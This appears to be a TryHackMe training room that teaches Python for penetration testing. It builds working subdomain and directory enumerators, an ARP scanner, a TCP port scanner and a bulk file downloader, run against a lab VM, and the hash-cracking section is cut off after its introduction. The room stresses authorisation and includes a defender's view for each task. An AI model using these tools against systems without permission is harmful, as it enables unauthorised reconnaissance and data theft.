OSA
Task 1

Introduction

Your team just wrapped up the reconnaissance phase of a penetration test against a mid-sized e-commerce company. The client’s scope document lists 12 subdomains, a /24 internal network, and three web applications. Your lead hands you a checklist: enumerate every subdomain for hidden services, scan the internal network for live hosts, probe open ports on each one, and test a set of harvested password hashes against a wordlist. You could fire up a dozen different tools and juggle their output formats, or you could write a handful of Python scripts that do exactly what you need, formatted exactly how you want, and integrated into a single workflow.

That is the power Python brings to penetration testing. It is not about replacing tools like Nmap or Gobuster; it is about filling the gaps between them, automating repetitive tasks, and building custom solutions when no off-the-shelf tool fits the situation.

In the previous three rooms, you built a solid Python foundation. In Python: Simple Demo, you learned variables, conditionals, and while loops through a guessing game. In Python: Core Concepts, you expanded into data types, strings, lists, dictionaries, for loops, and operators. In Python: Building Scripts, you structured real programs with functions, error handling, file I/O, and libraries, culminating in a Password Strength Checker. Every one of those skills comes into play in this room.

Spaceship

Learning Objectives

In this room, we shift from general-purpose scripting to security-focused automation. You will build tools that penetration testers use in real engagements:

  • Web reconnaissance: enumerating subdomains and directories using HTTP requests and wordlists
  • Network discovery: identifying live hosts on a local network using ARP scanning with Scapy
  • Port scanning: probing targets for open TCP ports using raw sockets
  • Automated downloads: retrieving files from remote servers during engagements
  • Hash cracking: using hashlib to find cleartext values behind password hashes
  • Credential testing: brute-forcing SSH logins with Paramiko
  • Integration: combining multiple tools into a cohesive mini-toolkit

Prerequisites

Complete the following rooms before starting this one:

Each task builds a working script from the ground up. We do not just show you the final code and move on. Instead, we walk through why each design decision matters, build the script incrementally, and connect every pattern back to concepts from the earlier rooms.

A Note on Ethics and Authorization

Every technique in this room can cause real harm if used without permission. Scanning a network you do not own is illegal in most jurisdictions. Brute-forcing credentials on a system without authorisation violates laws like the Computer Fraud and Abuse Act (CFAA) in the United States and the Computer Misuse Act (CMA) in the United Kingdom.

Throughout this room, you will run your scripts exclusively against the target machine provided by TryHackMe. In this lab environment, we are writing Python scripts for penetration testing; we will also test them against the same virtual machine we use to write them. Our localhost (127.0.0.1) will serve as our controlled, authorised environment. In professional engagements, penetration testers operate under a signed Statement of Work (SOW) and Rules of Engagement (RoE) that explicitly define which systems may be tested and which techniques are permitted. Never run these tools against systems you do not own or for which you do not have written authorisation to test.

This room assumes you are comfortable with variables, conditionals, loops, functions, error handling, file I/O, and importing libraries. We will not re-teach these concepts, but we will reference them frequently as we apply them in new contexts.

Machine Access

Click the Start Machine button below to launch the Target machine (VM). Visual Studio Code (VS Code) should open automatically with a modern Python installation ready for you. All scripts discussed in this room are saved in the /home/ubuntu/Pentesting-Scripts directory on the Target machine. The wordlist used in Tasks 2, 6, and 7 (wordlist.txt) is also inside /home/ubuntu/Pentesting-Scripts/, but if you are using your own machine it is attached to Task 2 for download.

If you are using your own machine, you will need Python 3.x installed along with the requests, scapy, and paramiko libraries. You can use the following command install the required libraries:

Terminal
           pip3 install requests scapy paramiko

        

 

?Answer the questions below

  1. I have read the introduction and started the target machine.
Task 2

Web Reconnaissance: Subdomain and Directory Enumeration

During the reconnaissance phase of a penetration test, one of your first objectives is to map the target’s web presence. The company’s main website might sit at www.example.com, but what about dev.example.com, staging.example.com, or api.example.com? Each subdomain is a potential entry point, and each directory on those subdomains could expose admin panels, backup files, or forgotten endpoints. Tools like Gobuster and Sublist3r handle this at scale, but understanding how they work under the hood makes you a better operator and lets you customize when those tools fall short.

In this task, we will build two closely related scripts: a subdomain enumerator and a directory enumerator. Both follow the same core pattern, which is a good illustration of how a single technique can be adapted to solve different recon problems.

The Core Pattern: Wordlist-Driven HTTP Probing

Both tools share a straightforward strategy:

  1. Read a list of candidate names from a wordlist file
  2. Construct a URL for each candidate
  3. Send an HTTP request and observe the response
  4. Report the ones that respond successfully

One analogy would be a security guard walking down a hallway, trying every door handle. Most doors are locked (the server returns an error or refuses the connection), but a few swing open (the server responds with content). In technical terms, we send HTTP GET requests and interpret the responses to determine which subdomains or directories exist.

Setting Up: The requests Library

The requests library makes HTTP communication straightforward. As we learned in the Building Scripts room, third-party libraries extend Python’s capabilities. On the target VM, requests is pre-installed and ready to use.


Note: If you prefer to run these Python scripts using your own computer, you might want to check whether the requests library is installed. If it is not already installed on your system, you can install it with pip3 install requests or sudo apt install python3-requests depending on your system.

Part 1: Subdomain Enumeration

Let’s start with subdomain enumeration. Our script will read potential subdomain names from a file, prepend each one to a target domain, and attempt an HTTP connection. If the connection succeeds, the subdomain likely exists. This final version of this script is saved as subdomain_enum.py in /home/ubuntu/Pentesting-Scripts.

Step 1: Loading the Wordlist

First, we need a function to read our wordlist. Notice how we use the with statement for safe file handling and try/except for error resilience, both techniques from the Building Scripts room:

def load_wordlist(filepath):
    """Read a wordlist file and return a list of stripped lines."""
    try:
        with open(filepath, "r") as f:
            words = [line.strip() for line in f if line.strip()]
        print(f"[*] Loaded {len(words)} entries from {filepath}")
        return words
    except FileNotFoundError:
        print(f"[!] Error: '{filepath}' not found.")
        return []

A few things to observe. The list comprehension [line.strip() for line in f if line.strip()] does three things in one line: it iterates through every line in the file, strips whitespace from each one, and skips any blank lines. If the file does not exist, we catch the error and return an empty list instead of crashing. This is exactly the kind of resilient design we practiced in the Password Strength Checker.

Step 2: Probing Subdomains

Next, we write the function that actually tests each subdomain:

import requests

def enumerate_subdomains(domain, wordlist):
    """Test each subdomain candidate against the target domain."""
    found = []

    for sub in wordlist:
        url = f"http://{sub}.{domain}"
        try:
            requests.get(url, timeout=3)
            print(f"[+] Found: {url}")
            found.append(url)
        except requests.ConnectionError:
            pass
        except requests.Timeout:
            pass

    return found

Let’s break this down. For each entry in the wordlist, we construct a URL by prepending the subdomain candidate to the target domain using an f-string. The requests.get() call attempts to connect. If the connection succeeds (no exception raised), the subdomain likely exists, and we add it to our results. If the connection fails, requests.ConnectionError is raised, and we silently move on. We also catch requests.Timeout to handle cases where a server is too slow to respond within 3 seconds.

Why do we use pass instead of printing an error for every failure? During enumeration, the vast majority of candidates will fail. Printing thousands of failure messages would drown out the results that actually matter.

Step 3: Putting It Together

import sys

def main():
    if len(sys.argv) != 3:
        print(f"Usage: python3 {sys.argv[0]} <domain> <wordlist>")
        print(f"Example: python3 {sys.argv[0]} example.com subdomains.txt")
        sys.exit(1)

    domain = sys.argv[1]
    wordlist_path = sys.argv[2]

    print(f"[*] Starting subdomain enumeration for {domain}")
    wordlist = load_wordlist(wordlist_path)

    if not wordlist:
        print("[!] No words to test. Exiting.")
        sys.exit(1)

    results = enumerate_subdomains(domain, wordlist)
    print(f"\n[*] Enumeration complete. Found {len(results)} subdomain(s).")

main()

We use sys.argv to accept the target domain and wordlist path as command-line arguments. The script validates that the user provided both arguments; if not, it prints a usage message and exits. This is a common pattern in command-line tools.

Note: Subdomain enumeration is designed for domain-name targets (e.g., example.com), not bare IP addresses. The target machine for this room is accessed directly by IP, so running subdomain enumeration against it will not find meaningful results — URLs like http://admin.10.10.10.5 are not real hostnames. The example output below is for illustrative purposes only; in a real engagement you would target a domain such as example.com.

Terminal
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 subdomain_enum.py example.thm subdomains.txt
[*] Starting subdomain enumeration for example.thm
[*] Loaded 15 entries from subdomains.txt
[+] Found: http://admin.example.thm
[+] Found: http://dev.example.thm

[*] Enumeration complete. Found 2 subdomain(s).

        

Remember that the subdomain_enum.py script cannot be tested because we are only using one machine for software development.

Part 2: Directory Enumeration

Once you know which subdomains exist, the next step is to find directories and files on each one. The pattern is almost identical; only the URL construction changes. This final version of this script is saved as dir_enum.py in /home/ubuntu/Pentesting-Scripts.

def enumerate_directories(target_url, wordlist, extension=".html"):
    """Test each directory/file candidate against the target URL."""
    found = []

    for entry in wordlist:
        url = f"{target_url}/{entry}{extension}"
        try:
            r = requests.get(url, timeout=3)
            if r.status_code != 404:
                print(f"[+] {r.status_code} - {url}")
                found.append(url)
        except requests.ConnectionError:
            pass
        except requests.Timeout:
            pass

    return found

Can you spot the two differences from our subdomain function? First, instead of prepending to a domain, we append to a URL path. Second, we check the HTTP status code. A 404 response means the page does not exist, so we skip it. Any other status code (200 for success, 301 for redirect, 403 for forbidden) indicates the directory or file is present, and each of those codes tells a different story about what we found.

A 403 Forbidden response is particularly interesting from a pentester’s perspective. It means the resource exists, but we lack permission to access it. That is valuable reconnaissance data; it tells you where to look harder.

Let's run directory enumeration against the target machine http://MACHINE_IP:8080, i.e., targeting port 8080, as shown below:

Terminal
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 dir_enum.py http://MACHINE_IP:8080 wordlist.txt
[*] Starting directory enumeration for http://127.0.0.1:8080
[*] Loaded 58 entries from wordlist.txt
[+] 200 - http://MACHINE_IP:8080/index.html

[*] Enumeration complete. Found 1 valid path(s).

        

Go ahead and run the directory enumeration targeting port 8000 on the target machine, i.e., http://MACHINE_IP:8000, as shown below and see what you can discover.

Terminal
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 dir_enum.py http://MACHINE_IP:8000 wordlist.txt
[*] Starting directory enumeration for http://MACHINE_IP:8000
[*] Loaded 58 entries from wordlist.txt
[+] 200 - http://MACHINE_IP:8000/admin.html
...

        

The Defender’s Perspective

From the blue team side, subdomain and directory enumeration generate a noticeable pattern in web server logs: hundreds or thousands of requests from the same IP in rapid succession, most resulting in connection errors or 404 responses. Web Application Firewalls (WAFs) and intrusion detection systems can flag this behavior and block the source IP. Rate limiting, monitoring unusual request volumes, and restricting public DNS records are common defenses.

?Answer the questions below

  1. Run the directory enumeration script against the target machine's port 8000. How many .html pages can your script identify?
  2. Where is the login page located?
Task 3

Network Discovery: ARP Scanning with Scapy

You have mapped the target’s web presence using subdomain and directory enumeration. Now imagine your engagement scope includes an internal network, and you have gained access to a machine on the local subnet. Before you can exploit anything, you need to answer a basic question: what other machines are on this network? You cannot attack what you cannot see.

The most intuitive approach is to “ping” every possible IP address and see who responds. Ping uses the Internet Control Message Protocol (ICMP), and while it works in many situations, there are two significant problems. First, firewalls and host-based configurations routinely block ICMP requests. A machine that silently drops your ping is still very much alive; you just cannot tell. Second, network monitoring systems often flag ICMP sweeps as suspicious activity because regular users rarely ping entire subnets.

This is where the Address Resolution Protocol (ARP) becomes a more effective alternative. ARP operates at Layer 2 of the network stack, and every device on a local network must respond to ARP requests to function. A machine can ignore your ping, but it cannot ignore ARP without cutting itself off from the network entirely. In this task, we will build a Python-based ARP scanner using the Scapy library.

How ARP Works

One analogy would be a substitute teacher calling attendance in a classroom. The teacher reads a name (the IP address) and waits for someone to raise their hand and say “That’s me” (the MAC address). Every student present must respond; otherwise, they are marked absent. ARP works the same way. When a device needs to communicate with an IP address on the local network, it broadcasts an ARP request asking, “Who has this IP?” The device with that IP responds with its MAC (Media Access Control) address, a unique hardware identifier assigned to its network interface.

In technical terms, our scanner will broadcast an ARP request for every IP in the target range. Each live host will reply with its MAC address, and we will collect those responses to build a network map.

Installing Scapy

Scapy is a packet manipulation library that lets you craft, send, and parse network packets directly from Python. If you are using your own machine, install Scapy with sudo apt install python3-scapy or pip3 install scapy depending on your system.

ARP scanning requires root privileges because it operates at the data link layer, below the level that normal user processes can access. You will need to run the script with sudo.

Building the Scanner

Step 1: Importing Scapy

from scapy.all import *

You might recall from the Building Scripts room that wildcard imports (from module import *) are generally discouraged because they pollute your namespace with names you did not explicitly request. Scapy is one of the well-known exceptions to this rule. The library is designed to be used interactively and places its core functions (Ether, ARP, srp, conf) directly in the scapy.all namespace. Using the wildcard import here follows the convention established by Scapy’s own documentation.

Step 2: Crafting the Packet

An ARP scan requires a packet with two layers: an Ethernet frame (Layer 2) and an ARP request (Layer 2.5). Scapy lets us stack these layers using the / operator:

def build_arp_packet(ip_range):
    """Construct an Ethernet/ARP broadcast packet for the target range."""
    broadcast_mac = "ff:ff:ff:ff:ff:ff"
    ether_layer = Ether(dst=broadcast_mac)
    arp_layer = ARP(pdst=ip_range)
    return ether_layer / arp_layer

Let’s break down the two layers:

  • Ether(dst="ff:ff:ff:ff:ff:ff") creates an Ethernet frame addressed to the broadcast MAC address. The address ff:ff:ff:ff:ff:ff is a special value that means “deliver this frame to every device on the network,” ensuring every host on the subnet receives our ARP request.
  • ARP(pdst=ip_range) creates an ARP request targeting the specified IP range. The pdst parameter (protocol destination) accepts both individual addresses, such as 10.10.10.5, and CIDR ranges, such as 10.10.10.0/24.
  • The / operator stacks the two layers into a single packet, with Ethernet as the outer layer and ARP as the inner payload.

Step 3: Sending and Receiving

Scapy’s srp() function sends packets at Layer 2 and captures the responses:

def scan_network(ip_range, interface="eth0", timeout=2):
    """Send ARP requests and return a list of (IP, MAC) tuples for live hosts."""
    packet = build_arp_packet(ip_range)
    answered, unanswered = srp(packet, timeout=timeout, iface=interface, inter=0.1, verbose=False)

    hosts = []
    for sent, received in answered:
        ip = received[ARP].psrc
        mac = received[Ether].src
        hosts.append((ip, mac))

    return hosts

The srp() function returns two lists: answered (hosts that responded) and unanswered (hosts that did not). For each answered pair, we extract the responding host’s IP address from the ARP layer (psrc means “protocol source”) and its MAC address from the Ethernet layer (src). We set verbose=False to suppress Scapy’s default progress output, keeping our script’s output clean.

The inter=0.1 parameter adds a 0.1-second delay between each packet. This slight pause prevents us from flooding the network and reduces the chance of missed responses on congested networks.

Step 4: The Complete Script

from scapy.all import *
import sys

def build_arp_packet(ip_range):
    """Construct an Ethernet/ARP broadcast packet for the target range."""
    broadcast_mac = "ff:ff:ff:ff:ff:ff"
    ether_layer = Ether(dst=broadcast_mac)
    arp_layer = ARP(pdst=ip_range)
    return ether_layer / arp_layer

def scan_network(ip_range, interface="eth0", timeout=2):
    """Send ARP requests and return a list of (IP, MAC) tuples for live hosts."""
    packet = build_arp_packet(ip_range)
    answered, unanswered = srp(packet, timeout=timeout, iface=interface, inter=0.1, verbose=False)

    hosts = []
    for sent, received in answered:
        ip = received[ARP].psrc
        mac = received[Ether].src
        hosts.append((ip, mac))

    return hosts

def main():
    if len(sys.argv) < 2:
        print(f"Usage: sudo python3 {sys.argv[0]} <ip_range> [interface]")
        print(f"Example: sudo python3 {sys.argv[0]} 10.10.10.0/24 eth0")
        sys.exit(1)

    ip_range = sys.argv[1]
    interface = sys.argv[2] if len(sys.argv) > 2 else "eth0"

    print(f"[*] Scanning {ip_range} on interface {interface}...")
    hosts = scan_network(ip_range, interface)

    if hosts:
        print(f"\n[*] Found {len(hosts)} live host(s):\n")
        print(f"{'IP Address':<20}{'MAC Address':<20}")
        print("-" * 40)
        for ip, mac in hosts:
            print(f"{ip:<20}{mac:<20}")
    else:
        print("[!] No hosts found. Check your IP range and interface.")

main()

Notice the formatted table output using f-string alignment ({ip:<20}). The <20 syntax left-aligns the value within a 20-character-wide field, producing a clean, readable table. Also note that the interface defaults to eth0 but can be overridden via a command-line argument; on some systems, the interface might be named ens33 or ens0, so the script needs to accommodate that.

If we run the scanner against a target network, we might see something like what's shown below. According to the Terms of Service, we should not use this scanner against the TryHackMe network.

Terminal
           $ sudo python3 arp_scanner.py 10.10.10.0/24 eth0
[*] Scanning 10.10.10.0/24 on interface eth0...

[*] Found 3 live host(s):

IP Address          MAC Address         
----------------------------------------
10.10.10.1          02:42:0a:0a:0a:01   
10.10.10.5          02:42:0a:0a:0a:05   
10.10.10.10         02:42:0a:0a:0a:0a   

        

The Defender’s Perspective

ARP scanning is quieter than ICMP sweeps, but it is not invisible. Network Intrusion Detection Systems (NIDS) such as Snort or Suricata can detect ARP storms, which are bursts of ARP requests that cover an entire subnet in a short time window. Defenders can also implement Dynamic ARP Inspection (DAI) on managed switches, which validates ARP packets against a trusted binding table and drops suspicious ones. Additionally, monitoring for unusual volumes of broadcast traffic is a standard practice in mature security operations centers.

?Answer the questions below

  1. What Scapy function sends packets at Layer 2 and captures responses?
  2. Which variable in the script would you change to run the scan on a network interface named ens33 ?
Task 4

Port Scanning with Sockets

In the previous task, let's imagine that your ARP scanner revealed three live hosts on the target network. You now have IP addresses, but IP addresses alone do not tell you much. What services are those machines running? Is there a web server on port 80? An SSH daemon on port 22? A database exposed on port 3306 that should never be reachable from the network? To answer these questions, you need to scan for open ports.

Every network service listens on a specific port number, which is a 16-bit integer ranging from 0 to 65,535. One analogy would be an apartment building. The building’s street address is the IP address, and each apartment number is a port. Knowing the building exists (ARP scan) is useful, but you need to know which apartments are occupied (port scan) before you can knock on the right door. In technical terms, a port scan systematically attempts to connect to each port on a target host and records which accept the connection.

TCP Connect Scanning

The simplest port scanning technique is the TCP connect scan. It uses the standard three-way handshake that every TCP connection begins with:

  1. The scanner sends a SYN (synchronize) packet to the target port
  2. If the port is open, the target responds with a SYN-ACK (synchronize-acknowledge)
  3. The scanner completes the handshake by sending an ACK (acknowledge)

If the port is closed, the target responds with a RST (reset) packet instead of a SYN-ACK, and the connection attempt fails immediately. Python’s built-in socket module handles the entire handshake for us; we simply attempt a connection and check whether it succeeds.

The socket Module

Unlike requests or scapy, the socket module is part of Python’s standard library, so there is nothing to install. Sockets are the fundamental building blocks for network communication. As we learned in the Building Scripts room, the standard library provides a rich set of modules that cover common tasks without requiring third-party packages.

Building the Scanner

Step 1: Probing a Single Port

Let’s start with a function that tests one port at a time:

import socket

def probe_port(ip, port, timeout=0.5):
    """Attempt a TCP connection to ip:port. Return True if open, False otherwise."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((ip, port))
        sock.close()
        return result == 0
    except socket.error:
        return False

Let’s walk through each line. socket.socket(socket.AF_INET, socket.SOCK_STREAM) creates a new TCP socket. The AF_INET constant specifies IPv4, and SOCK_STREAM specifies TCP (as opposed to SOCK_DGRAM for UDP). We set a 0.5-second timeout so the scanner does not hang on unresponsive ports. The key method is connect_ex(), which attempts a connection and returns 0 on success instead of raising an exception. This is more efficient than using connect() inside a try/except block when you are calling the function thousands of times. After checking the result, we close the socket to free the resource.

Why connect_ex() instead of connect()? The connect() method raises an OSError on failure, and creating and handling exceptions has overhead. When you are probing tens of thousands of ports, that overhead adds up. connect_ex() returns an error code instead, making the fast path (closed ports) cheaper.

Step 2: Scanning a Range of Ports

Now we wrap the single-port probe in a loop:

def scan_ports(ip, port_range, timeout=0.5):
    """Scan a range of ports on the target IP and return a list of open ports."""
    open_ports = []

    for port in port_range:
        if probe_port(ip, port, timeout):
            print(f"[+] Port {port} is open")
            open_ports.append(port)

    return open_ports

This function accepts a port_range, which can be any iterable: range(1, 1025) for the first 1,024 well-known ports, a custom list like [21, 22, 80, 443, 3306, 8080] for targeted scans, or range(1, 65536) for a full scan. Targeted scans are far faster and less noisy. During a real engagement, you would typically start with common ports and expand only if needed.

Step 3: Resolving Hostnames

Sometimes you will want to scan a hostname rather than an IP address. Let’s add a resolution step:

def resolve_target(target):
    """Resolve a hostname to an IP address. Return the IP if already valid."""
    try:
        ip = socket.gethostbyname(target)
        if ip != target:
            print(f"[*] Resolved {target} to {ip}")
        return ip
    except socket.gaierror:
        print(f"[!] Could not resolve {target}")
        return None

The gethostbyname() function performs a DNS lookup. If the target is already an IP address, it returns it unchanged. The gaierror exception (short for “get address info error”) occurs when DNS resolution fails.

Step 4: The Complete Script

import socket
import sys

def probe_port(ip, port, timeout=0.5):
    """Attempt a TCP connection to ip:port. Return True if open, False otherwise."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((ip, port))
        sock.close()
        return result == 0
    except socket.error:
        return False

def scan_ports(ip, port_range, timeout=0.5):
    """Scan a range of ports on the target IP and return a list of open ports."""
    open_ports = []

    for port in port_range:
        if probe_port(ip, port, timeout):
            print(f"[+] Port {port} is open")
            open_ports.append(port)

    return open_ports

def resolve_target(target):
    """Resolve a hostname to an IP address. Return the IP if already valid."""
    try:
        ip = socket.gethostbyname(target)
        if ip != target:
            print(f"[*] Resolved {target} to {ip}")
        return ip
    except socket.gaierror:
        print(f"[!] Could not resolve {target}")
        return None

def main():
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} <target> [max_port]")
        print(f"Example: python3 {sys.argv[0]} MACHINE_IP 1024")
        sys.exit(1)

    target = sys.argv[1]
    max_port = int(sys.argv[2]) if len(sys.argv) > 2 else 1024

    ip = resolve_target(target)
    if not ip:
        sys.exit(1)

    print(f"[*] Scanning {ip} (ports 1-{max_port})...\n")
    open_ports = scan_ports(ip, range(1, max_port + 1))

    if open_ports:
        print(f"\n[*] Scan complete. {len(open_ports)} open port(s) found:")
        print(f"{'Port':<10}{'Likely Service':<20}")
        print("-" * 30)

        common_services = {
            21: "FTP", 22: "SSH", 23: "Telnet",
            25: "SMTP", 53: "DNS", 80: "HTTP",
            110: "POP3", 143: "IMAP", 443: "HTTPS",
            445: "SMB", 3306: "MySQL", 3389: "RDP",
            8080: "HTTP Proxy", 8443: "HTTPS Alt"
        }

        for port in sorted(open_ports):
            service = common_services.get(port, "Unknown")
            print(f"{port:<10}{service:<20}")
    else:
        print("\n[!] No open ports found.")

main()

A few design decisions are worth highlighting. The common_services dictionary maps well-known port numbers to their typical services. We use the .get() method with a default of "Unknown" so that uncommon ports still display cleanly. This is the same dictionary pattern we practiced in the Core Concepts room. The script also accepts an optional max_port argument, with a default of 1024, so users can control the scan scope from the command line.

Let’s run it against the target machine and scan the first one thousand ports:

Terminal
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 port_scanner.py 127.0.0.1 1000
[*] Scanning 127.0.0.1 (ports 1-1000)...

[+] Port 22 is open
[+] Port 80 is open
[+] Port 631 is open

[*] Scan complete. 3 open port(s) found:
Port      Likely Service
------------------------------
22        SSH
80        HTTP
631       Unknown

        

Performance Considerations

You might notice that scanning all 65,535 ports takes a while. Our script tests ports sequentially, one at a time. Professional tools like Nmap use techniques such as parallel scanning (testing multiple ports simultaneously using threads or asynchronous I/O) and SYN scanning (sending only the SYN packet without completing the handshake), which are faster and stealthier. Python supports both threading and asynchronous programming, but those are advanced topics beyond the scope of this room. For now, keeping the scan range focused on common ports is the practical approach.

The Defender’s Perspective

Port scanning is one of the most commonly detected reconnaissance activities. Firewalls log connection attempts, and Intrusion Detection Systems (IDSs) can flag sequential port-scanning patterns. Defenders mitigate port scans by closing unnecessary ports, using firewalls to restrict access to sensitive services, and deploying tools such as fail2ban to temporarily block IP addresses exhibiting scanning behavior. Some organizations go further with port knocking, a technique in which a service opens its port only after it receives a specific sequence of connection attempts on other ports.

?Answer the questions below

  1. What socket method attempts a connection and returns 0 on success instead of raising an exception?
  2. Run the port scanner against the target machine of IP address MACHINE_IP . How many ports under 10000 are open?
  3. What is the top open port number under 10000 on the target system?
Task 5

Automating Downloads and Data Retrieval

Picture this scenario. You have compromised a web server during an engagement and discovered an exposed directory listing. Inside, you find configuration files, database backups, and JavaScript libraries, dozens of files you need to pull down for offline analysis. You could right-click each one and save it individually, or use command-line tools like wget on Linux or certutil on Windows. But what if you need to download files from a list of URLs, rename them programmatically, verify their integrity, or integrate the download step into a larger automation pipeline? That is where a Python-based downloader becomes indispensable.

In this task, we will build a flexible file downloader using the requests library we already used in Task 2. The core concept is simple, but we will extend it to handle real-world complications: large files, different content types, and basic error resilience.

The Basics: Downloading a Single File

At its simplest, downloading a file in Python is a three-step process: send an HTTP GET request, receive the response content, and write it to disk. Let’s start with a straightforward function:

import requests

def download_file(url, output_path):
    """Download a file from a URL and save it locally."""
    try:
        r = requests.get(url, allow_redirects=True, timeout=10)
        r.raise_for_status()

        with open(output_path, "wb") as f:
            f.write(r.content)

        print(f"[+] Downloaded: {output_path} ({len(r.content)} bytes)")
        return True

    except requests.ConnectionError:
        print(f"[!] Connection failed: {url}")
        return False
    except requests.Timeout:
        print(f"[!] Request timed out: {url}")
        return False
    except requests.HTTPError as e:
        print(f"[!] HTTP error: {e}")
        return False

Several details here deserve attention. The allow_redirects=True parameter tells requests to automatically follow HTTP redirects. Many download URLs redirect through one or more intermediate servers before reaching the actual file; without this flag, you would receive the redirect response instead of the file content. The raise_for_status() method checks whether the server returned an error code (like 404 or 500) and raises an HTTPError if it did. This is a cleaner pattern than manually checking r.status_code for every possible error.

We open the output file in binary write mode ("wb") rather than text mode ("w"). This is critical. Files like images, executables, and archives contain raw bytes that do not represent text. Writing them in text mode would corrupt the data because Python would attempt to interpret the bytes as characters and apply encoding transformations. As a rule, always use "wb" when saving downloaded content unless you are certain the file is plain text.

Handling Large Files with Streaming

The function above works well for small files, but consider what happens when you download a 500 MB disk image. The line r.content loads the entire file into memory at once. On a machine with limited RAM, this could cause the script to crash or slow the system to a crawl.

The solution is streaming: downloading and writing the file in small chunks rather than all at once.

def download_large_file(url, output_path, chunk_size=8192):
    """Download a file using streaming to handle large files efficiently."""
    try:
        r = requests.get(url, stream=True, allow_redirects=True, timeout=30)
        r.raise_for_status()

        total = 0
        with open(output_path, "wb") as f:
            for chunk in r.iter_content(chunk_size=chunk_size):
                f.write(chunk)
                total += len(chunk)

        print(f"[+] Downloaded: {output_path} ({total} bytes)")
        return True

    except (requests.ConnectionError, requests.Timeout, requests.HTTPError) as e:
        print(f"[!] Download failed: {e}")
        return False

The key difference is stream=True in the requests.get() call. This tells requests not to download the entire response immediately. Instead, we iterate through the response body in chunks using r.iter_content(chunk_size=8192), writing each 8 KB chunk to disk as it arrives. The memory footprint stays constant regardless of file size.

Notice that we also group multiple exception types into a single except clause using a tuple: except (requests.ConnectionError, requests.Timeout, requests.HTTPError) as e. This is a cleaner pattern when the recovery action is the same for all three error types.

Practical Use Case: Downloading From a List

During an engagement, you might discover a directory listing or a configuration file that references multiple URLs. Let’s build a function that downloads files from a list:

import os

def download_from_list(url_list, output_dir="downloads"):
    """Download files from a list of URLs into the specified directory."""
    os.makedirs(output_dir, exist_ok=True)
    results = {"success": 0, "failed": 0}

    for url in url_list:
        filename = url.split("/")[-1]
        if not filename:
            filename = "index.html"
        output_path = os.path.join(output_dir, filename)

        if download_file(url, output_path):
            results["success"] += 1
        else:
            results["failed"] += 1

    print(f"\n[*] Complete: {results['success']} downloaded, {results['failed']} failed")
    return results

The os.makedirs(output_dir, exist_ok=True) call creates the output directory if it does not already exist. The exist_ok=True parameter prevents an error if the directory is already there. We extract the filename from each URL by splitting on / and taking the last segment. If the URL ends with a / (producing an empty string), we default to "index.html".

The Complete Script

import requests
import sys
import os

def download_file(url, output_path):
    """Download a file from a URL and save it locally."""
    try:
        r = requests.get(url, allow_redirects=True, timeout=10)
        r.raise_for_status()

        with open(output_path, "wb") as f:
            f.write(r.content)

        print(f"[+] Downloaded: {output_path} ({len(r.content)} bytes)")
        return True

    except requests.ConnectionError:
        print(f"[!] Connection failed: {url}")
        return False
    except requests.Timeout:
        print(f"[!] Request timed out: {url}")
        return False
    except requests.HTTPError as e:
        print(f"[!] HTTP error: {e}")
        return False

def download_from_list(url_list, output_dir="downloads"):
    """Download files from a list of URLs into the specified directory."""
    os.makedirs(output_dir, exist_ok=True)
    results = {"success": 0, "failed": 0}

    for url in url_list:
        filename = url.split("/")[-1]
        if not filename:
            filename = "index.html"
        output_path = os.path.join(output_dir, filename)

        if download_file(url, output_path):
            results["success"] += 1
        else:
            results["failed"] += 1

    print(f"\n[*] Complete: {results['success']} downloaded, {results['failed']} failed")
    return results

def main():
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} <url_or_file>")
        print(f"  Single file:  python3 {sys.argv[0]} http://example.com/file.zip")
        print(f"  From list:    python3 {sys.argv[0]} urls.txt")
        sys.exit(1)

    target = sys.argv[1]

    if os.path.isfile(target):
        with open(target, "r") as f:
            urls = [line.strip() for line in f if line.strip()]
        print(f"[*] Loaded {len(urls)} URL(s) from {target}")
        download_from_list(urls)
    else:
        filename = target.split("/")[-1] or "downloaded_file"
        download_file(target, filename)

main()

The main() function handles two modes: if the argument is an existing file path, it reads URLs from that file and downloads all of them; if the argument looks like a URL, it downloads that single file. This dual-mode behavior makes the script flexible without requiring separate commands.

Let’s test it by downloading a file from the target machine:

Terminal
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 downloader.py http://MACHINE_IP:8000/files/config.txt
[+] Downloaded: config.txt (975 bytes)

        

And from a list of URLs:

Terminal
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 downloader.py target_urls.txt
[*] Loaded 3 URL(s) from target_urls.txt
[+] Downloaded: downloads/config.txt (975 bytes)
[+] Downloaded: downloads/backup.zip (628 bytes)
[!] HTTP error: 404 Client Error: Not Found for url: http://127.0.0.1:8000/files/missing.dat

[*] Complete: 2 downloaded, 1 failed

        

When Would a Pentester Use This?

Automated downloads come up more often than you might expect during engagements. After discovering an exposed directory listing, you might need to download all JavaScript files to search for hardcoded API keys. If you find a backup archive on a web server, you need to retrieve it for offline analysis. During post-exploitation, you might download tools to the compromised machine or exfiltrate data to your attack box. Having a reusable, error-resilient downloader in your toolkit saves time and reduces mistakes.

The Defender’s Perspective

From the defensive side, bulk downloads from a single IP address create a recognizable pattern in server access logs. Data Loss Prevention (DLP) systems can flag large or unusual outbound transfers. Defenders also monitor for access to sensitive file types (.sql, .bak, .conf, .env) and restrict directory listings on web servers to prevent reconnaissance. Disabling directory indexing in your web server configuration (the Options -Indexes directive in Apache, or autoindex off in Nginx) is one of the simplest and most effective mitigations.

?Answer the questions below

  1. What requests function is used to connect to the target URL and download the file?
  2. In what mode did we open the output file to avoid corruption of binary data like images?
Task 6

Hash Cracking with hashlib

You have been scanning the target environment, enumerating directories, and downloading files. During your directory enumeration in Task 2, you may have discovered a page containing what looks like a long string of hexadecimal characters. That string is almost certainly a hash, a fixed-length fingerprint computed from some input data, often a password. As a penetration tester, finding a hash is only half the battle. The real value comes from recovering the original plaintext behind it.

